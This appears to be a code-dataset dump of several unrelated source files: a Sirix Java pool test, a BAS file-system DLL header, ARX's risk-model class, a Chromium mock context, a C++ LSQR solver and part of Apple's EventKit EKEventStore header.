max_stars_count
int64 301
224k
| text
stringlengths 6
1.05M
| token_count
int64 3
727k
|
---|---|---|
728 | <filename>bundles/sirix-core/src/test/java/org/sirix/access/PathBasedPoolTest.java
package org.sirix.access;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import java.nio.file.Path;
import java.util.Map;
import java.util.Set;
import static org.junit.jupiter.api.Assertions.*;
import static org.mockito.Mockito.mock;
/**
* Tests the behavior of {@link PathBasedPool}.
*
* @author <NAME>
*/
class PathBasedPoolTest {
private PathBasedPool<Object> sessions;
@BeforeEach
public void setup() {
this.sessions = new PathBasedPool<>();
}
/**
* Tests that {@link PathBasedPool#putObject(Path, Object)} matches the following requirements:
* <ul>
* <li>Entries are persisted</li>
* <li>Entries from different keys are independent</li>
* <li>Entries from the same key are grouped in the same {@link Set}</li>
* </ul>
*/
@Test
public final void putWillPersistTheObjectInMap() {
final var key1 = mock(Path.class);
final var object1 = new Object();
final var object2 = new Object();
final var key2 = mock(Path.class);
final var object3 = new Object();
this.sessions.putObject(key1, object1);
this.sessions.putObject(key1, object2);
this.sessions.putObject(key2, object3);
final Map<Path, Set<Object>> expected = Map.of(
key1, Set.of(object1, object2),
key2, Set.of(object3)
);
assertEquals(expected, this.sessions.asMap());
}
/**
* Tests that {@link PathBasedPool#containsAnyEntry(Path)} reports {@code true} for at least one
* object, and {@code false} for no objects.
*/
@Test
public final void containsShouldReportExistingKeys() {
final var keySingle = mock(Path.class);
final var keyMulti = mock(Path.class);
final var keyNone = mock(Path.class);
final var object1 = new Object();
final var object2 = new Object();
final var object3 = new Object();
this.sessions.putObject(keySingle, object1);
this.sessions.putObject(keyMulti, object2);
this.sessions.putObject(keyMulti, object3);
assertTrue(this.sessions.containsAnyEntry(keySingle));
assertTrue(this.sessions.containsAnyEntry(keyMulti));
assertFalse(this.sessions.containsAnyEntry(keyNone));
}
/**
* Tests that {@link PathBasedPool#removeObject(Path, Object)} will eliminate the
* entry from the pool.
*/
@Test
public final void removeShouldEliminateEntries() {
final var key = mock(Path.class);
final var object1 = new Object();
this.sessions.putObject(key, object1);
this.sessions.removeObject(key, object1);
assertFalse(this.sessions.containsAnyEntry(key));
}
}
| 1,151 |
302 | <reponame>vadkasevas/BAS<filename>Modules/FileSystem/dll/moduledll.h<gh_stars>100-1000
#ifndef MODULEDLL_H
#define MODULEDLL_H
extern "C" {
typedef char* (*ResizeFunction)(int,void*);
__declspec(dllexport) void* StartDll();
__declspec(dllexport) void EndDll(void * DllData);
__declspec(dllexport) void* StartThread();
__declspec(dllexport) void EndThread(void * ThreadData);
__declspec(dllexport) void FileSystemReadFile(char *InputJson, ResizeFunction AllocateSpace, void* AllocateData, void* DllData, void* ThreadData, unsigned int ThreadId, bool *NeedToStop, bool* WasError);
__declspec(dllexport) void FileSystemWriteFile(char *InputJson, ResizeFunction AllocateSpace, void* AllocateData, void* DllData, void* ThreadData, unsigned int ThreadId, bool *NeedToStop, bool* WasError);
__declspec(dllexport) void FileSystemFileInfo(char *InputJson, ResizeFunction AllocateSpace, void* AllocateData, void* DllData, void* ThreadData, unsigned int ThreadId, bool *NeedToStop, bool* WasError);
__declspec(dllexport) void FileSystemCreateDir(char *InputJson, ResizeFunction AllocateSpace, void* AllocateData, void* DllData, void* ThreadData, unsigned int ThreadId, bool *NeedToStop, bool* WasError);
__declspec(dllexport) void FileSystemRemoveFile(char *InputJson, ResizeFunction AllocateSpace, void* AllocateData, void* DllData, void* ThreadData, unsigned int ThreadId, bool *NeedToStop, bool* WasError);
__declspec(dllexport) void FileSystemMoveFile(char *InputJson, ResizeFunction AllocateSpace, void* AllocateData, void* DllData, void* ThreadData, unsigned int ThreadId, bool *NeedToStop, bool* WasError);
__declspec(dllexport) void FileSystemCopyFile(char *InputJson, ResizeFunction AllocateSpace, void* AllocateData, void* DllData, void* ThreadData, unsigned int ThreadId, bool *NeedToStop, bool* WasError);
__declspec(dllexport) void FileSystemSearch(char *InputJson, ResizeFunction AllocateSpace, void* AllocateData, void* DllData, void* ThreadData, unsigned int ThreadId, bool *NeedToStop, bool* WasError);
}
#endif // MODULEDLL_H
| 652 |
486 | /*
* ARX: Powerful Data Anonymization
* Copyright 2012 - 2021 <NAME> and contributors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.deidentifier.arx.gui.model;
import java.io.Serializable;
import java.util.HashMap;
import java.util.Map;
import org.deidentifier.arx.ARXPopulationModel;
import org.deidentifier.arx.ARXPopulationModel.Region;
import org.deidentifier.arx.ARXSolverConfiguration;
/**
* A model for risk analysis
*
* @author <NAME>
*/
public class ModelRisk implements Serializable {
/**
* A enum for statistical models underlying attribute analyses
* @author <NAME>
*/
public static enum RiskModelForAttributes {
SAMPLE_UNIQUENESS,
POPULATION_UNIQUENESS_PITMAN,
POPULATION_UNIQUENESS_ZAYATZ,
POPULATION_UNIQUENESS_DANKAR,
POPULATION_UNIQUENESS_SNB
}
/**
* A enum for views
* @author <NAME>
*/
public static enum ViewRiskType {
CLASSES_PLOT,
CLASSES_TABLE,
CELL_BASED,
ATTRIBUTES,
HIPAA_ATTRIBUTES,
UNIQUES_DANKAR,
UNIQUES_ALL,
OVERVIEW
}
/** SVUID */
private static final long serialVersionUID = 5405871228130041796L;
/** The default sample size */
private static final Region DEFAULT_REGION = Region.USA;
/** Modified */
private boolean modified = false;
/** Model */
private ARXPopulationModel populationModel = null;
/** Model */
private ARXSolverConfiguration config = ARXSolverConfiguration.create();
/** Model */
private int maxQiSize = 10;
/** Model */
private Map<ViewRiskType, Boolean> viewEnabledForInput = new HashMap<ViewRiskType, Boolean>();
/** Model */
private Map<ViewRiskType, Boolean> viewEnabledForOutput = new HashMap<ViewRiskType, Boolean>();
/** Model */
private RiskModelForAttributes riskModelForAttributes = RiskModelForAttributes.POPULATION_UNIQUENESS_DANKAR;
/** Model */
private Double riskThresholdRecordsAtRisk;
/** Model */
private Double riskThresholdHighestRisk;
/** Model */
private Double riskThresholdSuccessRate;
/**
* Creates a new instance
*/
public ModelRisk() {
this.populationModel = ARXPopulationModel.create(DEFAULT_REGION);
}
/**
* @return the maxQiSize
*/
public int getMaxQiSize() {
return maxQiSize;
}
/**
* Returns the backing model
* @return
*/
public ARXPopulationModel getPopulationModel() {
return this.populationModel;
}
/**
* @param handle
* @return
* @see org.deidentifier.arx.ARXPopulationModel#getPopulationSize()
*/
public double getPopulationSize() {
return populationModel.getPopulationSize();
}
/**
* Returns the region
* @return
*/
public Region getRegion() {
return this.populationModel.getRegion();
}
/**
* Returns the risk model used for attribute analyses
* @return
*/
public RiskModelForAttributes getRiskModelForAttributes() {
return this.riskModelForAttributes;
}
/**
* Returns a threshold
* @return
*/
public double getRiskThresholdHighestRisk() {
if (riskThresholdHighestRisk == null) {
riskThresholdHighestRisk = 0.2d;
}
return riskThresholdHighestRisk;
}
/**
* Returns a threshold
* @return
*/
public double getRiskThresholdRecordsAtRisk() {
if (riskThresholdRecordsAtRisk == null) {
riskThresholdRecordsAtRisk = 0.05d;
}
return riskThresholdRecordsAtRisk;
}
/**
* Returns a threshold
* @return
*/
public double getRiskThresholdSuccessRate() {
if (riskThresholdSuccessRate == null) {
riskThresholdSuccessRate = 0.05d;
}
return riskThresholdSuccessRate;
}
/**
* Returns the solver configuration
*/
public ARXSolverConfiguration getSolverConfiguration() {
return config;
}
/**
* Is this model modified
* @return
*/
public boolean isModified() {
return modified || config.isModified();
}
/***
* Returns whether a view is enabled
* @param view
* @return
*/
public boolean isViewEnabledForInput(ViewRiskType view) {
if (!viewEnabledForInput.containsKey(view)) {
return true;
} else {
return viewEnabledForInput.get(view);
}
}
/***
* Returns whether a view is enabled
* @param view
* @return
*/
public boolean isViewEnabledForOutput(ViewRiskType view) {
if (!viewEnabledForOutput.containsKey(view)) {
return true;
} else {
return viewEnabledForOutput.get(view);
}
}
/**
* @param maxQiSize the maxQiSize to set
*/
public void setMaxQiSize(int maxQiSize) {
if (maxQiSize != this.maxQiSize) {
this.modified = true;
}
this.maxQiSize = maxQiSize;
}
/**
* Sets the population size
* @param populationSize
*/
public void setPopulationSize(long populationSize) {
if (populationSize != populationModel.getPopulationSize()) {
this.populationModel = ARXPopulationModel.create(populationSize);
this.modified = true;
}
}
/**
* Sets the region
* @param region
*/
public void setRegion(Region region) {
if (region != populationModel.getRegion()) {
this.populationModel = ARXPopulationModel.create(region);
this.modified = true;
}
}
/**
* Sets the risk model used for attribute analyses
* @param model
*/
public void setRiskModelForAttributes(RiskModelForAttributes model) {
this.riskModelForAttributes = model;
}
/**
* Sets a threshold
* @param threshold
*/
public void setRiskThresholdHighestRisk(double threshold) {
if (this.riskThresholdHighestRisk == null ||
this.riskThresholdHighestRisk.doubleValue() != threshold) {
this.modified = true;
}
this.riskThresholdHighestRisk = threshold;
}
/**
* Sets a threshold
* @param threshold
*/
public void setRiskThresholdRecordsAtRisk(double threshold) {
if (this.riskThresholdRecordsAtRisk == null ||
this.riskThresholdRecordsAtRisk.doubleValue() != threshold) {
this.modified = true;
}
this.riskThresholdRecordsAtRisk = threshold;
}
/**
* Sets a threshold
* @param threshold
*/
public void setRiskThresholdSuccessRate(double threshold) {
if (this.riskThresholdSuccessRate == null ||
this.riskThresholdSuccessRate.doubleValue() != threshold) {
this.modified = true;
}
this.riskThresholdSuccessRate = threshold;
}
/**
* Set unmodified
*/
public void setUnmodified() {
this.modified = false;
this.config.setUnmodified();
}
/**
* Allows to enable/disable views
* @param view
* @param value
*/
public void setViewEnabledForInput(ViewRiskType view, boolean value) {
this.viewEnabledForInput.put(view, value);
}
/**
* Allows to enable/disable views
* @param view
* @param value
*/
public void setViewEnabledForOutput(ViewRiskType view, boolean value) {
this.viewEnabledForOutput.put(view, value);
}
}
| 3,839 |
2,151 | // Copyright 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
package org.chromium.chrome.browser.compositor.layouts;
import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.content.res.Resources;
import android.os.Looper;
import android.test.mock.MockContext;
import android.test.mock.MockResources;
/**
* This is the minimal {@link Context} needed by the {@link LayoutManager} to be working properly.
* It points to a {@link MockResources} for anything that is based on xml configurations. For
* everything else the standard provided Context should be sufficient.
*/
public class MockContextForLayout extends MockContext {
private final Context mValidContext;
private final MockResourcesForLayout mResources;
private final Resources.Theme mTheme;
public MockContextForLayout(Context validContext) {
mValidContext = validContext;
mResources = new MockResourcesForLayout(validContext.getResources());
mTheme = mResources.newTheme();
}
@Override
public Resources getResources() {
return mResources;
}
@Override
public ApplicationInfo getApplicationInfo() {
return mValidContext.getApplicationInfo();
}
@Override
public Object getSystemService(String name) {
return mValidContext.getSystemService(name);
}
@Override
public PackageManager getPackageManager() {
return mValidContext.getPackageManager();
}
@Override
public Context getApplicationContext() {
return this;
}
@Override
public int checkCallingOrSelfPermission(String permission) {
return mValidContext.checkCallingOrSelfPermission(permission);
}
@Override
public Looper getMainLooper() {
return mValidContext.getMainLooper();
}
@Override
public Resources.Theme getTheme() {
return mTheme;
}
} | 641 |
2,054 | <reponame>GarrickLin/ZQCNN<gh_stars>1000+
#ifndef _ZQ_LSQR_SOLVER_H_
#define _ZQ_LSQR_SOLVER_H_
#pragma once
#include "ZQ_taucs.h"
#include "ZQ_TaucsBase.h"
#include "ZQ_LSQRUtils.h"
namespace ZQ
{
class ZQ_LSQRSolver
{
public:
template<class T>
static bool LSQRSolve(taucs_ccs_matrix* A, T* b, T* x0, int max_it, double tol, T* x, int& it, bool display = false);
private:
template<class T>
static void _aprod(int mode, int m, int n, T* x, T* y, void* UsrWrk);
};
/******************************** definitions **********************************************/
template<class T>
bool ZQ_LSQRSolver::LSQRSolve(taucs_ccs_matrix* A, T* b, T* x0, int max_it, double tol, T* x, int& it, bool display /* = false */ )
{
if( A == 0 || x0 == 0 || b == 0 || x == 0 || (A->flags & TAUCS_DOUBLE == 0 && A->flags & TAUCS_SINGLE == 0))
return false;
int m = A->m;
int n = A->n;
double damp = 0;
T* v = new T[n];
T* w = new T[n];
T* se = 0;
double atol = tol;
double btol = tol;
double conlim = 1e9;
FILE* nout = 0;
int istop_out = 0;
T anorm_out = 0;
T acond_out = 0;
T rnorm_out = 0;
T arnorm_out = 0;
T xnorm_out = 0;
memcpy(x,x0,sizeof(T)*n);
ZQ_LSQRUtils::lsqr<T>(m,n,_aprod,damp,A,b,v,w,x,
se,atol,btol,conlim,max_it,
nout,&istop_out,&it,&anorm_out,&acond_out,&rnorm_out,&arnorm_out,&xnorm_out);
if(display)
{
printf("it = %d\n",it);
printf("condition number is %f\n",acond_out);
printf("stopflag = %d\n",istop_out);
printf("rnorm=%f\n",rnorm_out);
}
delete []w;
delete []v;
return true;
}
template<class T>
void ZQ_LSQRSolver::_aprod(int mode, int m, int n, T* x, T* y, void* UsrWrk)
{
if(mode == 1)
{
T* tmp = new T[m];
taucs_ccs_matrix* A = (taucs_ccs_matrix*)UsrWrk;
ZQ_TaucsBase::ZQ_taucs_ccs_matrix_time_vec(A,x,tmp);
for(int i = 0;i < m;i++)
y[i] += tmp[i];
delete []tmp;
}
else if (mode == 2)
{
T* tmp = new T[n];
taucs_ccs_matrix* A = (taucs_ccs_matrix*)UsrWrk;
ZQ_TaucsBase::ZQ_taucs_ccs_vec_time_matrix(y,A,tmp);
for(int i = 0;i < n;i++)
x[i] += tmp[i];
delete []tmp;
}
}
}
#endif | 1,115 |
416 | //
// EKEventStore.h
// EventKit
//
// Copyright 2009-2010 Apple Inc. All rights reserved.
//
#import <Foundation/Foundation.h>
#import <EventKit/EventKitDefines.h>
#import <EventKit/EKTypes.h>
NS_ASSUME_NONNULL_BEGIN
@class EKCalendar, EKEvent, EKSource, EKReminder, EKCalendarItem;
/*!
@enum EKSpan
@abstract Values for controlling what occurrences to affect in a recurring event.
@discussion This enumerated type is used to indicate the scope of a change being made to a repeating event. EKSpanThisEvent
indicates the changes should apply only to this event, EKSpanFutureEvents indicates the changes should apply to
this event and all future events in the pattern.
@constant EKSpanThisEvent Affect this event only.
@constant EKSpanFutureEvents Affect this event and all after it.
*/
typedef NS_ENUM(NSInteger, EKSpan) {
EKSpanThisEvent,
EKSpanFutureEvents
};
typedef void (^EKEventSearchCallback)(EKEvent *event, BOOL *stop);
/*!
@class EKEventStore
@abstract The EKEventStore class provides an interface for accessing and manipulating calendar events and reminders.
@discussion The EKEventStore class is the main point of contact for accessing Calendar data. You must
create a EKEventStore object in order to retrieve/add/delete events or reminders from the Calendar database.
Events, Reminders, and Calendar objects retrieved from an event store cannot be used with any other event
store. It is generally best to hold onto a long-lived instance of an event store, most
likely as a singleton instance in your application.
*/
NS_CLASS_AVAILABLE(10_8, 4_0)
@interface EKEventStore : NSObject
/*!
@method authorizationStatusForEntityType:
@discussion Returns the authorization status for the given entity type
*/
+ (EKAuthorizationStatus)authorizationStatusForEntityType:(EKEntityType)entityType NS_AVAILABLE(10_9, 6_0);
/*!
@method initWithAccessToEntityTypes:
@discussion Users are able to grant or deny access to event and reminder data on a per-app basis. To request access to
event and/or reminder data, instantiate an EKEventStore using this method. This call will not block the
program while the user is being asked to grant or deny access. Until access has been granted for an entity
type, this event store will not contain any calendars for that entity type, and any attempt to save entities
of that entity type will fail. If access is later granted or declined, the event store will broadcast an
EKEventStoreChangedNotification. You can check the current access status for an entity type
using +authorizationStatusForEntityType:. The user will only be prompted the first time access is requested; any
subsequent instantiations of EKEventStore will use the existing permissions.
@param entityTypes A bit mask of entity types to which you want access
*/
- (id)initWithAccessToEntityTypes:(EKEntityMask)entityTypes NS_DEPRECATED(10_8, 10_9, NA, NA);
/*!
@method init
*/
- (id)init NS_AVAILABLE(10_9, 4_0);
/*!
@method initWithSources:
@abstract Creates a new event store that only includes items and calendars for a subset of sources.
@param sources The sources you want this event store to recognize. This may include delegate sources.
*/
- (instancetype)initWithSources:(NSArray<EKSource *> *)sources NS_AVAILABLE(10_11, NA);
typedef void(^EKEventStoreRequestAccessCompletionHandler)(BOOL granted, NSError * __nullable error);
/*!
@method requestAccessToEntityType:completion:
@discussion Users are able to grant or deny access to event and reminder data on a per-app basis. To request access to
event and/or reminder data, call -requestAccessToEntityType:completion:. This will not block the app while
the user is being asked to grant or deny access.
Until access has been granted for an entity type, the event store will not contain any calendars for that
entity type, and any attempt to save will fail. The user will only be prompted the first time access is
requested; any subsequent instantiations of EKEventStore will use the existing permissions. When the user
taps to grant or deny access, the completion handler will be called on an arbitrary queue.
*/
- (void)requestAccessToEntityType:(EKEntityType)entityType completion:(EKEventStoreRequestAccessCompletionHandler)completion NS_AVAILABLE(10_9, 6_0);
/*!
@property eventStoreIdentifier
@abstract Returns a unique identifier string representing this calendar store.
*/
@property(nonatomic, readonly) NSString *eventStoreIdentifier;
//----------------------------------------------------
// SOURCES
//----------------------------------------------------
/*!
@property delegateSources
@abstract Returns an unordered array of sources for all available delegates.
@discussion By default, delegates are not included in an event store's sources. To work with delegates,
you can create a new event store and pass in the sources, including sources returned from this
method, that you're interested in.
@see initWithSources:
*/
@property (nonatomic, readonly) NSArray<EKSource *> *delegateSources NS_AVAILABLE(10_11, 12_0);
/*!
@property sources
@abstract Returns an unordered array of sources.
*/
@property (nonatomic, readonly) NSArray<EKSource *> *sources NS_AVAILABLE(10_8, 5_0);
/*!
@method sourceWithIdentifier:
@abstract Returns a source with a specified identifier.
*/
- (nullable EKSource *)sourceWithIdentifier:(NSString *)identifier NS_AVAILABLE(10_8, 5_0);
//----------------------------------------------------
// CALENDARS
//----------------------------------------------------
/*!
@method calendars
@abstract While this returns an array, the calendars are unordered. This call is deprecated
and only returns calendars that support events. If you want reminder calendars
you should use calendarsForEntityType:
*/
@property(nonatomic, readonly) NSArray<EKCalendar *> *calendars NS_DEPRECATED(NA, NA, 4_0, 6_0);
/*!
@method calendarsForEntityType
@abstract Returns calendars that support a given entity type (reminders, events)
*/
- (NSArray<EKCalendar *> *)calendarsForEntityType:(EKEntityType)entityType NS_AVAILABLE(10_8, 6_0);
/*!
@property defaultCalendarForNewEvents
@abstract Returns the calendar that events should be added to by default.
@discussion This may be nil if there is no default calendar for new events.
*/
@property(nullable, nonatomic, readonly) EKCalendar *defaultCalendarForNewEvents;
/*!
@method defaultCalendarForNewReminders
@abstract Returns the calendar that reminders should be added to by default.
@discussion This may be nil if there is no default calendar for new reminders.
*/
- (nullable EKCalendar *)defaultCalendarForNewReminders NS_AVAILABLE(10_8, 6_0);
/*!
@method calendarWithIdentifier:
@abstract Returns a calendar with a specified identifier.
*/
- (nullable EKCalendar *)calendarWithIdentifier:(NSString *)identifier NS_AVAILABLE(10_8, 5_0);
/*!
@method saveCalendar:commit:error:
@abstract Saves changes to a calendar, or adds a new calendar to the database.
@discussion This method attempts to save the given calendar to the calendar database. It
returns YES if successful and NO otherwise. Passing a calendar fetched from
another EKEventStore instance into this function will raise an exception.
On WatchOS, saving changes is not supported.
@param calendar The calendar to save.
@param commit Pass YES to cause the database to save. You can pass NO to save multiple
calendars and then call commit: to save them all at once.
@param error If an error occurs, this will contain a valid NSError object on exit.
*/
- (BOOL)saveCalendar:(EKCalendar *)calendar commit:(BOOL)commit error:(NSError **)error NS_AVAILABLE(10_8, 5_0) __WATCHOS_PROHIBITED;
/*!
@method removeCalendar:commit:error:
@abstract Removes a calendar from the database.
@discussion This method attempts to delete the given calendar from the calendar database. It
returns YES if successful and NO otherwise. Passing a calendar fetched from
another EKEventStore instance into this function will raise an exception.
If the calendar supports multiple entity types (allowedEntityTypes), but the user has
not granted you access to all those entity types, then we will delete all of the entity types
for which you have access and remove that entity type from the allowedEntityTypes.
For example: If a calendar supports both events and reminders, but you only have access to reminders,
we will delete all the reminders and make the calendar only support events.
If you have access to all of its allowedEntityTypes, then it will delete the calendar and
all of the events and reminders in the calendar.
On WatchOS, modifying the database is not supported.
@param calendar The calendar to delete.
@param commit Pass YES to cause the database to save. You can pass NO to batch multiple
changes and then call commit: to save them all at once.
@param error If an error occurs, this will contain a valid NSError object on exit.
*/
- (BOOL)removeCalendar:(EKCalendar *)calendar commit:(BOOL)commit error:(NSError **)error NS_AVAILABLE(10_8, 5_0) __WATCHOS_PROHIBITED;
//----------------------------------------------------
// CALENDAR ITEMS (apply to both reminders and events)
//----------------------------------------------------
/*!
@method calendarItemWithIdentifier:
@abstract Returns either a reminder or the first occurrence of an event.
*/
- (nullable EKCalendarItem *)calendarItemWithIdentifier:(NSString *)identifier NS_AVAILABLE(10_8, 6_0);
/*!
@method calendarItemsWithExternalIdentifier:
@abstract Returns either matching reminders or the first occurrences of any events matching
the given external identifier.
@discussion This method returns a set of EKEvents or EKReminders with the given external identifier.
Due to reasons discussed in -[EKCalendarItem calendarItemExternalIdentifier], there may be
more than one matching calendar item.
@param externalIdentifier The value obtained from EKCalendarItem's
calendarItemExternalIdentifier property
@result An unsorted array of EKCalendarItem instances
*/
- (NSArray<EKCalendarItem *> *)calendarItemsWithExternalIdentifier:(NSString *)externalIdentifier NS_AVAILABLE(10_8, 6_0);
//----------------------------------------------------
// EVENTS
//----------------------------------------------------
/*!
@method saveEvent:span:error:
@abstract Saves changes to an event permanently.
@discussion This method attempts to save the event to the calendar database. It returns YES if
successful and NO otherwise. It's possible for this method to return NO, and error
will be set to nil. This occurs if the event wasn't dirty and didn't need saving. This
means the correct way to detect failure is a result of NO and a non-nil error parameter.
Passing an event fetched from another EKEventStore instance into this function will
raise an exception.
After an event is successfully saved, it is also put into sync with the database, meaning
that all fields you did not change will be updated to the latest values. If you save the
event, but it was deleted by a different store/process, you will effectively recreate the
event as a new event.
On WatchOS, saving changes is not supported.
@param event The event to save.
@param span The span to use (this event, or this and future events).
@param error If an error occurs, this will contain a valid NSError object on exit.
*/
- (BOOL)saveEvent:(EKEvent *)event span:(EKSpan)span error:(NSError **)error NS_AVAILABLE(10_14, 4_0) __WATCHOS_PROHIBITED;
/*!
@method removeEvent:span:error:
@abstract Removes an event from the calendar store.
@discussion This method attempts to remove the event from the calendar database. It returns YES if
successful and NO otherwise. It's possible for this method to return NO, and error
will be set to nil. This occurs if the event wasn't ever added and didn't need removing. This
means the correct way to detect failure is a result of NO and a non-nil error parameter.
Passing an event from another CalendarStore into this function will raise an exception. After
an event is removed, it is no longer tied to this calendar store, and all data in the event
is cleared except for the eventIdentifier.
On WatchOS, modifying the database is not supported.
@param event The event to save.
@param span The span to use (this event, or this and future events).
@param error If an error occurs, this will contain a valid NSError object on exit.
*/
- (BOOL)removeEvent:(EKEvent *)event span:(EKSpan)span error:(NSError **)error NS_AVAILABLE(10_14, 4_0) __WATCHOS_PROHIBITED;
// These variants of the above allow you to batch changes by passing NO to commit. You can commit
// all changes later with [EKEventStore commit:]
- (BOOL)saveEvent:(EKEvent *)event span:(EKSpan)span commit:(BOOL)commit error:(NSError **)error NS_AVAILABLE(10_8, 5_0) __WATCHOS_PROHIBITED;
- (BOOL)removeEvent:(EKEvent *)event span:(EKSpan)span commit:(BOOL)commit error:(NSError **)error NS_AVAILABLE(10_8, 5_0) __WATCHOS_PROHIBITED;
/*!
@method eventWithIdentifier:
@abstract Returns the first occurrence of an event matching the given event identifier.
@param identifier The eventIdentifier to search for.
@result An EKEvent object, or nil if not found.
*/
- (nullable EKEvent *)eventWithIdentifier:(NSString *)identifier;
/*!
@method eventsMatchingPredicate:
@abstract Searches for events that match the given predicate.
@discussion This call executes a search for the events indicated by the predicate passed to it.
It only includes events which have been committed (e.g. those saved using
saveEvent:commit:NO are not included until commit: is called.)
It is synchronous. If you want async behavior, you should either use dispatch_async or
NSOperation to run the query someplace other than the main thread, and then funnel the
array back to the main thread.
@param predicate The predicate to invoke. If this predicate was not created with the predicate
creation functions in this class, an exception is raised.
@result An array of EKEvent objects, or nil. There is no guaranteed order to the events.
*/
- (NSArray<EKEvent *> *)eventsMatchingPredicate:(NSPredicate *)predicate;
/*!
@method enumerateEventsMatchingPredicate:usingBlock:
@abstract Searches for events that match the given predicate.
@discussion This call executes a search for the events indicated by the predicate passed to it, calling
the block specified in the callback parameter for each event. It only includes events which
have been committed (e.g. those saved using saveEvent:commit:NO are not included until commit: is called.)
This method is synchronous. If you want async behavior, you should either use dispatch_async or
NSOperation to run the query someplace other than the main thread.
@param predicate The predicate to invoke. If this predicate was not created with the predicate
creation functions in this class, an exception is raised.
@param block The block to call for each event. Your block should return YES in the stop
parameter to stop iterating.
*/
- (void)enumerateEventsMatchingPredicate:(NSPredicate *)predicate usingBlock:(EKEventSearchCallback)block;
/*!
@method predicateForEventsWithStartDate:endDate:calendars:
@abstract Creates a predicate for use with eventsMatchingPredicate or enumerateEventsMatchingPredicate:usingBlock:.
@discussion Creates a simple query predicate to search for events within a certain date range. At present,
this will return events in the default time zone ([NSTimeZone defaultTimeZone]).
For performance reasons, this method will only return events within a four year timespan.
If the date range between the startDate and endDate is greater than four years, then it will be shortened
to the first four years.
@param startDate The start date.
@param endDate The end date.
@param calendars The calendars to search for events in, or nil to search all calendars.
*/
- (NSPredicate *)predicateForEventsWithStartDate:(NSDate *)startDate endDate:(NSDate *)endDate calendars:(nullable NSArray<EKCalendar *> *)calendars;
//----------------------------------------------------
// REMINDERS
//----------------------------------------------------
/*!
@method saveReminder:commit:error:
@abstract Saves changes to a reminder.
@discussion This method attempts to save the reminder to the event store database. It returns YES if
successful and NO otherwise. Passing a reminder fetched from another EKEventStore instance
into this function will raise an exception.
After a reminder is successfully saved, its fields are updated to the latest values in
the database.
On WatchOS, saving changes is not supported.
@param reminder The reminder to save.
@param commit Whether to save to the database or not. Pass NO to batch changes together and
commit with [EKEventStore commit:].
@param error If an error occurs, this will contain a valid NSError object on exit.
*/
- (BOOL)saveReminder:(EKReminder *)reminder commit:(BOOL)commit error:(NSError **)error NS_AVAILABLE(10_8, 6_0) __WATCHOS_PROHIBITED;
/*!
@method removeReminder:commit:error:
@abstract Removes a reminder from the event store.
@discussion This method attempts to remove the reminder from the event store database. It returns YES if
successful and NO otherwise. Passing a reminder from another EKEventStore into this function
will raise an exception. After a reminder is removed, it is no longer tied to this event store.
On WatchOS, modifying the database is not supported.
@param reminder The reminder to save.
@param commit Whether to save to the database or not. Pass NO to batch changes together and
commit with [EKEventStore commit:].
@param error If an error occurs, this will contain a valid NSError object on exit.
*/
- (BOOL)removeReminder:(EKReminder *)reminder commit:(BOOL)commit error:(NSError **)error NS_AVAILABLE(10_8, 6_0) __WATCHOS_PROHIBITED;
/*!
@method fetchRemindersMatchingPredicate:completion:
@abstract Fetches reminders asynchronously.
@discussion This method fetches reminders asynchronously and returns a value which can be
used in cancelFetchRequest: to cancel the request later if desired. The completion
block is called with an array of reminders that match the given predicate (or potentially nil).
This only includes reminders which have been committed (e.g. those saved using
saveReminder:commit:NO are not included until commit: is called.)
*/
- (id)fetchRemindersMatchingPredicate:(NSPredicate *)predicate completion:(void (^)(NSArray<EKReminder *> * __nullable reminders))completion NS_AVAILABLE(10_8, 6_0);
/*!
@method cancelFetchRequest:
@discussion Given a value returned from fetchRemindersMatchingPredicate, this method can be used to
cancel the request. Once called, the completion block specified in fetchReminders... will
not be called.
*/
- (void)cancelFetchRequest:(id)fetchIdentifier NS_AVAILABLE(10_8, 6_0);
/*!
@method predicateForRemindersInCalendars:
@abstract Fetch all reminders in a set of calendars.
@discussion You can pass nil for calendars to fetch from all available calendars.
*/
- (NSPredicate *)predicateForRemindersInCalendars:(nullable NSArray<EKCalendar *> *)calendars NS_AVAILABLE(10_8, 6_0);
/*!
@method predicateForIncompleteRemindersWithDueDateStarting:ending:calendars:
@abstract Fetch incomplete reminders in a set of calendars.
@discussion You can use this method to search for incomplete reminders due in a range.
You can pass nil for start date to find all reminders due before endDate.
You can pass nil for both start and end date to get all incomplete reminders
in the specified calendars.
You can pass nil for calendars to fetch from all available calendars.
*/
- (NSPredicate *)predicateForIncompleteRemindersWithDueDateStarting:(nullable NSDate *)startDate ending:(nullable NSDate *)endDate calendars:(nullable NSArray<EKCalendar *> *)calendars NS_AVAILABLE(10_8, 6_0);
/*!
@method predicateForCompletedRemindersWithCompletionDateStarting:ending:calendars:
@abstract Fetch completed reminders in a set of calendars.
@discussion You can use this method to search for reminders completed between a range of dates.
You can pass nil for start date to find all reminders completed before endDate.
You can pass nil for both start and end date to get all completed reminders
in the specified calendars.
You can pass nil for calendars to fetch from all available calendars.
*/
- (NSPredicate *)predicateForCompletedRemindersWithCompletionDateStarting:(nullable NSDate *)startDate ending:(nullable NSDate *)endDate calendars:(nullable NSArray<EKCalendar *> *)calendars NS_AVAILABLE(10_8, 6_0);
//----------------------------------------------------
// COMMIT, RESET, ROLLBACK
//----------------------------------------------------
/*!
@method commit:
@abstract Commits pending changes to the database.
@discussion If you use saveCalendar/saveEvent/removeCalendar/removeEvent, etc. and you pass NO to their
parameter, you are batching changes for a later commit. This method does that commit. This
allows you to save the database only once for many additions or changes. If you pass
YES to methods' commit parameter, then you don't need to call this method.
This method will return YES as long as nothing went awry, even if nothing was actually
committed. If it returns NO, error should contain the reason it became unhappy.
On WatchOS, modifying the database is not supported.
*/
- (BOOL)commit:(NSError **)error NS_AVAILABLE(10_8, 5_0) __WATCHOS_PROHIBITED;
/*!
@method reset
@abstract Resets the event store.
@discussion You can use this method to forget ALL changes made to the event store (all additions, all
fetched objects, etc.). It essentially is as if you released the store and then created a
new one. It brings it back to its initial state. All objects ever created/fetched, etc.
using this store are no longer connected to it and are considered invalid.
*/
